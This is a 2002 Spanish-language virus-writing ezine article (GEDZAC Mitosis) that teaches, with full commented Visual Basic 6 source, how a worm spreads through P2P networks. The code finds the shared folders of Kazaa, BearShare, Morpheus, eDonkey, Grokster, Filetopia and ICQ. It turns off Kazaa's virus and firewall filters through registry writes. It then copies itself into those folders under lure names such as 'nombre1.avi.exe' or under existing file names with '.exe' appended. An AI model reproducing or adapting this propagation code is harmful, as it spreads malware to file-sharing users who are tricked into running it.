Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 008
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Infeccion de redes P2P con VB 6.0
Autor : MachineDramon
Válido para : Microsoft Visual Basic 6.0
--------------------------------------------------------------------------------------------
Si tenemos instalado algunos de estos programas como Kazaa, Bearshare, Morpheus
y Grokster especialmente, es posible que nos hallan instalado un spyware, y
para mayor seguridad(al probar estos programas se me instalaron 5 spywares)
no esta demas darnos un scan con el Ad-aware, que podemos encontrar gratis
en http://www.lavasoft.de ,muy buen programa para eliminar el software espia.
La infeccion p2p, se basa en copiarnos a los folders compartidos de programas
p2p con nombres que puedan ser atractivos para otros usarios o infectar los
ya existentes(en caso de infectores), o con nombres de archivos ya existentes
añadiendo la extencion exe, por ejemplo.
Luego el otro Usuario bajara el falso archivo de video por ejemplo:
Gedzac.avi.exe y lo ejecutara, accionandose el virus.
Para infectar las redes p2p, necesitamos saber las rutas de las carpetas
compartidas, normalmente hay rutas por defecto como en el caso de Kazaa:
"C:\Archivos de programa\KaZaA\My Shared Folder"
Esta sería la ruta por defecto. Pero si al usuario se le ocurrio instalar
el kazza en el disco D o ademas compartir otra carpeta, por ejemplo:
"C:\Mi Musica", entonces poner rutas por defecto nos puede llevar a que
nuestro programa falle.
Este Articulo tratara sobre la manera de averiguar las rutas en 6 programas
p2p, una vez conociendolas, ya solo quedara copiarse alli, con los nombres
que elijamos.
Para eso definiremos primero unas funciones y procedimientos que nos seran
utiles para ello:
Declaramos en la parte de Declaraciones Generales la funcion Api para leer
archivos ini(debe ir en una sola linea):
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal
lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As
String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Luego escribimos la funcion que usara la funcion api y nos dara el valor
que queremos leer:
Function IniR(NS, NK, ND)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos K como valor de cadena y la igualamos al argumento NK
Dim K As String
K = NK
'Declaramos St como valor de cadena, con 400 espacios
Dim St As String * 400
'Declaramos i como valor entero largo
Dim i As Long
'Llamamos a la funcion api
i = GetPrivateProfileString(NS, K, "", St, Len(St), ND)
'Asignamos St como valor que devolvera la funcion (quitandole los espacios
'en blanco que sobraron de los 400, con la funcion left, que recortara la
'cadena St, dandonos solo los espacios ocupados a la izquierda, cuyo numero
se almacena en i)
IniR = Left(St, i)
End Function
A esta funcion debemos pasarle como argumentos el nombre de seccion, de clave
y la ruta del ini, en ese orden.
Por ejemplo si tenemos un ini llamado autorun.ini en el disco C, que dice:
[AutoRun]
icon=C:\WINDOWS\CURSORS\VIRII.ICO
y queremos saber que dice la clave icon, que esta dentro de la seccion
AutoRun, entonces la llamada a la funcion seria:
IniR("AutoRun","Icon","C:\AutoRun.ini")
y nos devolveria el valor: "C:\WINDOWS\CURSORS\VIRII.ICO"
Tambien escribimos funciones para leer y escribir el registro.
A esta solo hay que pasarle la clave que queremos leer y nos devolvera el
valor.
Function Rr(x)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Wscript.shell"
Set w = CreateObject("Wscript.shell")
'Asignamos como valor que devolvera la funcion al valor de la clave leida
Rr = w.regread(x)
'Liberamos el objecto "Wscript.shell"
Set w = Nothing
End Function
Este es el procedimiento para escribir en el registro, solo hay que pasarle
la clave y el valor que queremos escribir y "" si queremos escribir un valor
de cadena o "REG_DWORD" para un valor hexadecimal.
La llamada al procedimiento para escribir como cadena seria:
Rw "Clave", "valor", ""
La llamada al procedimiento para escribir como hexadecimal seria:
Rw "Clave", "valor", "REG_DWORD"
Sub Rw(x, y, z)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Wscript.shell"
Set w = CreateObject("Wscript.shell")
'Esto lo hacemos para saber que valores vamos a escribir
'como cadena o como hexadecimal
if z <> "" then
'Si z diferente a "", entonces se escribe como hexadecimal
w.Regwrite x, y, "REG_DWORD"
else
Si z igual a "", entonces se escribe como cadena
w.Regwrite x, y
end if
'Liberamos el objecto "Wscript.shell"
Set w = Nothing
End Sub
Ahora vamos ha comprobar que esten instalados los programas p2p:
La forma usada es leer una clave del registro que crea el programa,
y guardarlo en la varible IsD, si la clave no existe IsD tendra valor ""
entonces con la estructura if comprobamos que si Isd es diferente al
valor "" , la aplicacion esta instalada y procedemos a buscar la ruta
de su folder compartido.
Sub P2P()
On Error Resume Next
'BearShare
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado bearshare.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\BearShare\InstallDir")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Bear"
Bear IsD
End If
'Kazaa
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Kazaa.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ExeDir")
'Si la clave existe
If IsD <> "" Then
'Llamamos al procedimiento kazaa
Kazaa
End If
'Morpheus
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Morpheus.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\mscrp\morpheushome")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Morpheus"
Morpheus IsD
End If
'Icq
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado ICQ.
IsD = Rr("HKEY_LOCAL_MACHINE\Software\Mirabilis\ICQ\Install\General\InstalledDir")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Icq"
Icq IsD
End If
'Edonkey
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Edonkey.
IsD = Rr("HKEY_LOCAL_MACHINE\Software\CLASSES\ed2k\DefaultIcon\")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Edonkey"
Edonkey IsD
End If
'Filetopia
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Filetopia
IsD = Rr("HKEY_CLASSES_ROOT\ftopia\shell\open\command\")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Filetopia"
Filetopia IsD
End If
'Grokster
'Tratamos de leer la clave del registro que contiene la ruta donde
IsD = Rr("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Grokster\UninstallString")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Grokster"
Grokster IsD
End If
End Sub
Ahora vamos a ver los procedimientos para obtener las rutas de estos
programas.
BearShare: http://www.bearshare.com/
Este programa almacena su ruta de istalacion en la clave de registro:
HKEY_LOCAL_MACHINE\SOFTWARE\BearShare\InstallDir
y las rutas de los folders compartidos en el archivo FreePeers.ini, que se
encuentra en su directorio de istalacion. el contenido de la parte de
FreePeers.ini que contiene los folders compartidos es parecido a esto:
[Sharing]
szSharedDir1 = "c:\folder1" ; shared directory
szSharedDir2 = "c:\folder2" ; shared directory
szSharedDir3 = "" ; shared directory
szSharedDir4 = "" ; shared directory
szSharedDir5 = "" ; shared directory
Como vemos las rutas estan dentro de la seccion Sharing y claves szSharedDir1
szSharedDir2, szSharedDir3, etc. del ini, para eso usaremos la funcion para
leer inis que declaramos antes. El procedimiento sería algo asi:
Sub Bear(Xd)
'Si hay errores pasa a la siquiente istruccion
On Error Resume Next
'Iguala i a la ruta de freePeers.ini
i = Xd & "\" & "FreePeers.ini"
'Si freePeers.ini existe
If Dir(i) <> "" Then
'Leemos la clave "szSharedDir1", usando la funcion para leer inis y
'almacenamos el valor en Sf
Sf = IniR("Sharing", "szSharedDir1", i)
'Sf presentara un valor:> "c:\folder1" ; shared directory
'y para obtener la ruta debemos trabajar esta cadena para obtener solo el
'valor:> c:\folder1
Sf = Right(Left(Sf, InStr(Sf, ";") - 3), Len(Left(Sf, InStr(Sf, ";") - 3)) - 1)
'Ahora que tenemos la ruta en la variable Sf, le agregamos un "\" y la pasa-
'mos al procedimiento InfectP2P
InfectP2P (Sf & "\")
'Aqui se hace lo mismo con la clave "szSharedDir2" si la ubiere
Sf = IniR("Sharing", "szSharedDir2", i)
Sf = Right(Left(Sf, InStr(Sf, ";") - 3), Len(Left(Sf, InStr(Sf, ";") - 3)) - 1)
InfectP2P (Sf & "\")
End If
End Sub
KaZaA: http://www.kazaa.com/
Este programa almacena su ruta de instalacion en la clave del registro:
HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ExeDir
y las rutas de sus folders compartidos en:
HKEY_CURRENT_USER\Software\KAZAA\LocalContent\Dir0 -->puede haber otras
claves ademas de esta como Dir1, Dir2, etc o no existir ninguna
HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ShareDir -->esta existe siempre
Asi que lo unico que tenemos que hacer es leer esas claves del registro
y establecer la clave:
HKEY_CURRENT_USER\Software\KAZAA\LocalContent\DisableSharing
a 0 , para activar la comparticion de archivos en caso de no estarlo.
para eso usaremos las funciones para leer y escribir en el registro.
Sub Kazaa()
'Si ahi error pasar a la siguiente instruccion
On Error Resume Next
'Establece a 0 la clave para activar la comparticion de archivos (0 es un
'valor "REG_DWORD"(hexadecimal) en este caso, no uno de cadena)
Rw "HKEY_CURRENT_USER\Software\KAZAA\LocalContent\DisableSharing", 0, "REG_DWORD"
'Desabilitamos la proteccion contra virus y firewall, poniendolo a 0
Rw "HKEY_CURRENT_USER\Software\KAZAA\ResultsFilter\virus_filter", 0, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\KAZAA\ResultsFilter\firewall_filter", 0, "REG_DWORD"
'Lee el valor de la clave si la ubiere y lo iguala a Xd
Xd = Rr("HKEY_CURRENT_USER\Software\KAZAA\LocalContent\Dir0")
'Xd contendra un valor:> 012345:c:\folder
'Trabajamos la cadena, para solo obtener:> c:\folder
'le añadimos "\" y
Sf = Right(Xd, Len(Xd) - 7) & "\"
'La pasamos al procedimiento InfectP2P
InfectP2P (Sf)
'Lee el valor de la clave y lo iguala a Xd
Xd = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ShareDir")
'Tendremos un valor:> C:\Archivos de programa\KaZaA\My Shared Folder
Sf = Xd
'Le añadimos "\" y lo pasamos al procedimiento InfectP2P
InfectP2P (Sf & "\")
End Sub
Morpheus: http://www.morpheus.com/
El programa almacena su ruta de instalacion en la clave del registro:
HKEY_LOCAL_MACHINE\SOFTWARE\mscrp\morpheushome
Una ruta por defecto sería el valor de esa clave + "\My Shared Folder\"
Las otras rutas las almacena en el archivo share.cfg, que se encuentra en
su ruta de instalacion, el archivo share.cfg, se encuentra semiencriptado.
Aqui el contenido del que tengo en mi pc:
¬í sr 'javax.swing.tree.DefaultMutableTreeNodeÄX¿üò¨qà Z allowsChildrenL childrent Ljava/util/Vector;L parentt "Ljavax/swing/tree/MutableTreeNode;xpsr java.util.VectorÙ}[;¯ I capacityIncrementI
elementCount[
elementDatat [Ljava/lang/Object;xp ur [Ljava.lang.Object;ÎXs)l xp
sq ~ sq ~ uq ~
sq ~ sq ~ uq ~
sr +com.pcpnetworks.pcp.gui.FileSetInfoTreeNode L bt Ljavax/swing/tree/TreeNode;L ct (Lcom/pcpnetworks/pcp/common/FileSetInfo;L dq ~ xr +com.pcpnetworks.pcp.common.SafeSerializable xpq ~
sr &com.pcpnetworks.pcp.common.FileSetInfo Z hL bt Ljava/lang/String;L cq ~ L dq ~ L eq ~ L gt &Lcom/pcpnetworks/pcp/content/Metadata;L iq ~ xq ~ t sst LWRSKKZ4N73URQMHZVFHKVRGRTOKZ6XCpsq ~ uq ~
sr #com.pcpnetworks.pcp.common.FileInfo J eD hJ jL bt Ljava/net/URL;L cq ~ L dq ~ L fq ~ L gq ~ L iq ~ xq ~ ðjµ0sr
java.net.URL%76üèr I hashCodeI portL authorityq ~ L fileq ~ L hostq ~ L protocolq ~ L refq ~ xpÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive1.txtq ~ !t filepxt
archive1.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ $q ~ &psq ~ uq ~
q ~ pppppppppsr $com.pcpnetworks.pcp.content.Metadata L bq ~ L cq ~ xq ~ t DOt .<k><hk></hk><l m="Title" n="archive1"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive2.txtq ~ 0t filepxt
archive2.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ 3q ~ 5psq ~ uq ~
q ~ .pppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive2"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive3.txtq ~ >t filepxt
archive3.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ Aq ~ Cpsq ~ uq ~
q ~ <pppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive3"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive4.txtq ~ Lt filepxt
archive4.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ Oq ~ Qpsq ~ uq ~
q ~ Jpppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive4"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive5.txtq ~ Zt filepxt
archive5.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ ]q ~ _psq ~ uq ~
q ~ Xpppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive5"></l></k>q ~ sq ~ N ðð¢ sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5CWS_FTP.LOGq ~ ht filepxt
WS_FTP.LOGt t UCKGWUTTUBJWITOKCWQKTWVBGY5MWVW2psq ~ q ~ kq ~ mpsq ~ uq ~
q ~ fpppppppppsq ~ *t AAAt ,<k><hk></hk><l m="Title" n="WS_FTP"></l></k>q ~ sq ~ © ðïÀsq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Cupdatevir.jpgq ~ vt filepxt
updatevir.jpgt t 2CBNON2NTFZNW72BSRSXM4TRJ2JFEKCVpsq ~ q ~ yq ~ {psq ~ uq ~
q ~ tpppppppppsq ~ *t IMt /<k><hk></hk><l m="Title" n="updatevir"></l></k>q ~ pppsq ~ *t AUt Â<k><l m="Title" n="ss"></l><l m="Artist" n="s"></l><l m="Album" n="s"></l><l m="Keywords" n="s"></l><l m="Description" n="s"></l><l m="Release Year" n="1111"></l><l m="Bitrate" n="1111"></l></k>psq ~ uq ~
sq ~ pq ~ 'sq ~ uq ~
ppppppppppsq ~ pq ~ 6sq ~ uq ~
ppppppppppsq ~ pq ~ Dsq ~ uq ~
ppppppppppsq ~ pq ~ Rsq ~ uq ~
ppppppppppsq ~ pq ~ `sq ~ uq ~
ppppppppppsq ~ pq ~ nsq ~ uq ~
ppppppppppsq ~ pq ~ |sq ~ uq ~
ppppppppppppppppppppppq ~ uq ~ t
userObjectt sxpppppppppq ~ uq ~ q ~ t Audio (1 share, 0.2 KB)xsq ~ pq ~ uq ~ q ~ t Documentsxsq ~ pq ~ uq ~ q ~ t Imagesxsq ~ pq ~ uq ~ q ~ t Softwarexsq ~ pq ~ uq ~ q ~ t Videoxsq ~ pq ~ uq ~ q ~ t Otherxpppppuq ~ q ~ t Shared Items (1 share, 0.2 KB)x
De ahi extraeremos la otra ruta de un folder compartido si lo ubiere(puede
no haberla.
Sub Morpheus(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Abrimos el archivo share.cfg
Set Sh = f.OpenTextFile(Xd & "\share.cfg")
'Y lo empezamos a leer linea a linea mediante un bucle Do, al que le indicamos
'que mientras el archivo contenga lienas siga leyendolo(.AtendOfstream = False)
'al terminar el archivo nos dara(.AtendOfstream = True) y terminara el bucle.
Do While Sh.AtendOfstream = False
'Almacenamos el valor de la linea en h
h = Sh.ReadLine
'Hasta encontrar la frase "localhostt" en alguna linea
If InStr(h, "localhostt") <> 0 Then
'Si encontramos esa frase en alguna linea salimos del bucle, teniendo en h
'el valor de la linea que contiene la frase.
Exit Do
End If
Loop
'Cerramos el archivo
Sh.Close
'Al estar semiencriptado el archivo, tenemos que hacer un trabajo un poco
'grande para obtener la ruta:
C1 = InStr(h, "localhostt")
h = Right(h, Len(h) - (C1 + 11))
For i = Len(h) To 1 Step -1
M = M & Mid(h, i, 1)
Next
C2 = InStr(M, "5%")
h = Right(M, Len(M) - (C2 + 1))
For x = Len(h) To 1 Step -1
K = K & Mid(h, x, 1)
Next
D1 = Left(K, 1)
K = Right(K, Len(K) - 7)
Df = "\" & K
Df = Replace(Df, "%5C", "\")
Sf = D1 & ":" & Df
Sf = Replace(Sf, "+", Space(1)) & "\"
Luego de eso ya tenemos en Sf el valor del folder compartido y se lo pasamos
al procedimiento InfectP2P
InfectP2P (Sf)
'Ahora tambien le pasamos la ruta del folder compartido por defecto que es
'Ruta donde esta instalado Morpheus(almacenado en Xd) + \My Shared Folder\
Sf = Xd & "\My Shared Folder\"
InfectP2P (Sf)
'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub
ICQ: http://web.icq.com/
El programa almacena su ruta de instalacion en la clave:
HKEY_LOCAL_MACHINE\Software\Mirabilis\ICQ\Install\General\InstalledDir
y al parecer solo considera como folder compartido al que viene por defecto
"shared files", que se encuentra en su directorio de instalacion.
ICQ no viene con la opcion de compartir archivos activada, hay que activar-
la, el programa debe guardar esa configuracion en alguna parte, aun no
he podido en contrarla, por lo que la infeccion solo funcionara en ICQ con
la opcion activada por el usuario, si alguien supiere la forma de activarla,
mediante el virus favor de escribirme a Sachiel2015@latinmail.com
Sub Icq(Xd)
'Si error pasa a la siguiente instruccion
On Error Resume Next
'Le pasamos al procedimiento InfectP2P la ruta donde esta instalado ICQ
'(almacenado en Xd) + \shared files\(folder por defecto)
InfectP2P (Xd & "\shared files\")
End Sub
Grokster: http://www.grokster.com/
No he Logrado encontrar una clave en el reg que tenga la ruta de instalacion
solamente, pero esta clave contiene:>
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Grokster\UninstallString
un valor:> C:\ARCHIV~1\GROKSTER\uninstall.exe
que tendremos que manipular para solo tener:> C:\ARCHIV~1\GROKSTER
que es la ruta de instalacion.
El folder compartido por defecto se encuentra dentro de la ruta de instalacion
y se llama "My Grokster"
El segundo folder compartido en caso de haberlo, esta en la clave:
HKEY_CURRENT_USER\Software\Grokster\LocalContent\Dir0
que contiene un valor:> 012345:c:\folder
que habremos de manipular para solo obtener:> c:\folder
Sub Grokster(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Manipulamos el valor de la clave que tenemos en Xd para obtener la ruta de
'instalacion.
Sf = Left(Xd, Len(Xd) - 14)
'A la ruta de instalacion le añadimos el folder compartido por defecto y
'la pasamos a InfectP2P
Sf = Sf & "\My Grokster\"
InfectP2P (Sf)
'Leemos la clave del registro que tendria la ruta del segundo folder
'compartido en caso de haberlo.
Sf = Rr("HKEY_CURRENT_USER\Software\Grokster\LocalContent\Dir0")
'La manipulamos para obtener la ruta y la pasamos a InfectP2P
Sf = Right(Sf, Len(Sf) - 7) & "\"
InfectP2P (Sf)
End Sub
Edonkey: http://www.edonkey2000.com/
No he logrado encontrar la ruta de instalacion propiamente dicha en el
registro, pero esta clave la contiene:
HKEY_LOCAL_MACHINE\Software\CLASSES\ed2k\DefaultIcon\
esta clave contiene un valor semejante a:>
"C:\Archivos de programa\eDonkey2000\gdonkey.exe"
Tendremos que manipular el valor para solo obtener la ruta:>
C:\Archivos de programa\eDonkey2000\
Y almacena las ruta de los folderes compartidos en el archivo "share.dat"
que se encuentra en su direcorio de instalacion. El contenido del archivo
es parecido a este:
, C:\ARCHIVOS DE PROGRAMA\EDONKEY2000\incoming
C:\Edonkey E:\folder
El procedimiento siguiente sacara 2 rutas de folders compartidos del archivo
el primero y el ultimo, osea si es que hay 1 folder, sacara un solo folder
si hay 2 el 1° y el 2° y si hay 3 el 1° y el 3° y así sucesivamente.
Sub Edonkey(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos variables E y f
Dim E As String: Dim f
'Manipulamos el valor de Xd, para obtener la ruta de instalacion y la
'guardamos en E
E = Mid(Xd, 2)
E = Left(E, Len(E) - 12)
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Abrimos el archivo "share.dat"
Set D = f.OpenTextFile(E & "share.dat")
'Lo leemos linea a linea hasta el final del archivo, almacenando el valor de
'las lineas en la variable S
Do While D.AtendOfstream <> True
'Al estar S = S + Linea + enter, se almacena el valor de la linea y se le da
'un enter y se añade el valor de la linea siguiente, y así hasta el final del
'archivo
S = S & D.ReadLine & vbCrLf
'Colocamos DoEvents, para darle tiempo a windows de que procese otras ordenes
'y para prevenir que se cuelgue el programa.
DoEvents
Loop
'Cerramos el archivo
D.Close
'Mediante la funcion Split, convertimos cada linea en un valor de una matrix
'de varibles, cada linea numerada con un digito(indice) a partir de 0
'La funcion Split separa un valor en partes, dividiendolo al encontrar un
'carater señalado, en este caso vbCrlf(enter) y asigna cada parte a un indice
'de la matrix de variables, Sintaxis:> Split(valor,caracter buscado como marca de division)
S = Split(S, vbCrLf)
'Ahora con la funcion Ubound, la cual nos dara el indice más alto de la matrix
'evaluamos cuantos folderes compartidos hay.
'Si el mayor indice es mayor que 1 entonces hay mas de un folder y sacaremos
'2 rutas
If UBound(S) > 1 Then
'Enviamos la primera ruta al procedimiento InfectP2P
InfectP2P Mid(S(0), 3) & "\"
'Sacamos la segunda ruta y la enviamos al procedimiento InfectP2P
V = InStrRev(S(1), ":")
A = Mid(S(1), V - 1)
InfectP2P A & "\"
'Si el mayor indice no es mayor que 1, entonces
Else
'Solo enviamos la primera ruta
InfectP2P Mid(S(0), 3) & "\"
End If
'Liberamos el Objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub
Filetopia: http://www.filetopia.org/
Este programa cuando se instala con las opciones por defecto o marcando la
casilla de crear referencias en el registro para archivos y urls.
Almacena su ruta de instalacion en:
HKEY_CLASSES_ROOT\ftopia\shell\open\command\
Clave que contiene un valor:>
C:\Archivos de programa\Filetopia3\filetopia.exe %1
el cual debe ser manipulado para obtener:>
C:\Archivos de programa\Filetopia3\
Guarda las rutas de los folderes compartidos en el archivo filetopia.ini,
la parte del archivo que nos interesa es algo así:
[ServerInclude]
1=C:\ARCHIVOS DE PROGRAMA\FILETOPIA3\Files\
2=C:\Filecopia\
3=.....
Para eso usaremos la funcion para leer inis, y leeremos las claves 1 y 2
Sub Filetopia(Xd)
'Si error pasa a la siguiente instrucion
On Error Resume Next
'Declaramos E y Sf como valores de cadena
Dim E, Sf As String
'Manipulamos Xd para obtener la ruta de instalcion
E = Left(Xd, Len(Xd) - 16)
'Si "Filetopia.INI" existe
if Dir(E & "Filetopia.INI") <> "" then
'Leemos el valor de la clave 1(que contiene una ruta) del ini, y la asignamos
'a Sf, notese que a la funcion se le pasa la seccion(ServerInclude), la clave(1),
'y la ruta del ini(E & "Filetopia.INI")
Sf = IniR("ServerInclude", "1", E & "Filetopia.INI")
'Pasamos Sf al procedimiento InfectP2P
InfectP2P Sf
'Hacemos lo mismo con la segunda ruta.
Sf = IniR("ServerInclude", "2", E & "Filetopia.INI")
InfectP2P Sf
end if
End Sub
Procedimiento InfectP2P:
Este procedimiento solo sirve para copiarse a la ruta del folder compartido
y puede ser variado o modificado.
'Al procedimiento hay que pasarle la ruta del folder compartido
Sub InfectP2P(Xd)
'Si error pasar a la siguiente instruccion
On error resume Next
'Si la ruta tiene más de 5 caracteres(para verificar que sea una ruta valida)
if len(xd) >= 3 then
'Declaramos una matrix de varibles con indices del 1 al 3(pueden ser tantos
'como queramos)
Dim X(1 to 3)
'Definimos el valor de los indices de la matrix
X(1) ="nombre1.avi.exe"
X(2) ="nombre2.avi.exe"
X(3) ="nombre3.avi.exe"
'Iniciamos un contador for, para copiarnos al folder compartido
For i = 1 to 3
'Si el archivo no existe(para no volvernos a copiar si ya lo hicimos antes)
if dir(Xd & X(i)) = "" then
'Nos copiamos al folder compartido con el nombre contenido en X(i),
'i va tomando los valores de 1 a 3(indicando el n° de indice de la matrix,
'para copiarnos con los valores(nombres) que almacenamos en la matrix)
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & X(i)
end if
next
end if
End Sub
Tambien se podria listar los archivos del folder compartido para copiarse
con esos nombres, añadiendo una funcion más:
Sub InfectP2P(Xd)
'Esto es lo mismo de el procedimiento anterior
On Error Resume Next
If Len(Xd) >= 3 Then
Dim X(1 to 3)
X(1) ="nombre1.avi.exe"
X(2) ="nombre2.avi.exe"
X(3) ="nombre3.avi.exe"
For i = 1 to 3
if dir(Xd & X(i)) = "" then
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & X(i)
end if
next
'Iniciamos un contador for, para copiarnos al folder compartido, y llamamos
'a la funcion LFiles(le pasamos la ruta del folder), y nos dara los nombres
'de los archivos que esten allí.
For Each w In LFiles(Xd)
'Si el archivo no existe(para no volvernos a copiar si ya lo hicimos antes)
If Dir(Xd & w & ".exe") = "" Then
'Nos copiamos al folder, con el nombre del archivo, añadiendo la extencion
'exe, w va tomando el valor de los nombres de archivos presentes en el folder
'a medida que avanza el contador
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & w & ".exe"
End If
Next
End If
End Sub
'A la funcion hay que pasarle la ruta del folder compartido
Function LFiles(XDir)
'Si hay error pasar a la siguiente instruccion
On Error Resume Next
'Declarar varibles, a la matrix x(), aun no le asignamos numero de indices
'ya que no conocemos el numero de archivos presente en el folder.
Dim f, Xf, Xfs, x()
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.filesystemobject")
'Igualamos Xf al folder
Set Xf = f.GetFolder(XDir)
'Igualamos Xfs a los files en el folder
Set Xfs = Xf.Files
'Ahora ya le asignamos un numero de indices o elementos a la matrix x()
'para esto usaremos la sentencia Redim, y le indicamos que los indices
'vayan de 1 al numero de archivos en el folder(Xf.Files.Count)
ReDim x(1 To (Xf.Files.Count))
'Igualamos A a 1
A = 1
'Iniciamos un contador for para listar los archivos en el folder, donde
'k ira tomando el valor del archivo a medida que avance el contador.
For Each K In Xfs
'Igulamos Ex a la extencion del archivo en letras minusculas
Ex = LCase(f.GetExtensionName(K.Path))
'Si la extencion(Ex) es diferente de exe listamos el archivo, con estos
'procedimientos tenemos el problema de al no saber con que nombres nos
'copiamos, no podemos saber si ya nos habiamos copiado antes, entonces
'obviamos todos los exes, para evitar tomar el nombre de una de nuestras
'copias, ya que si no a la larga tendriamos archivos que se llamarian:>
'virus.exe.exe.exe.exe.exe.exe....
'Aunque tambien perdemos los nombres de los exes que no sean copias nuestras
If (Ex <> "exe") Then
'Asignamos el nombre del archivo(K.name), y lo asignamos a un indice de la
'matrix empezando por el 1
x(A) = K.Name
'Igualamos A a su valor + 1
A = A + 1
End If
Next
'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
'Asignamos la matrix como valor que devolvera la funcion
LFiles = x
End Function
(C) MITOSIS #1 E-Zine/GEDZAC 2002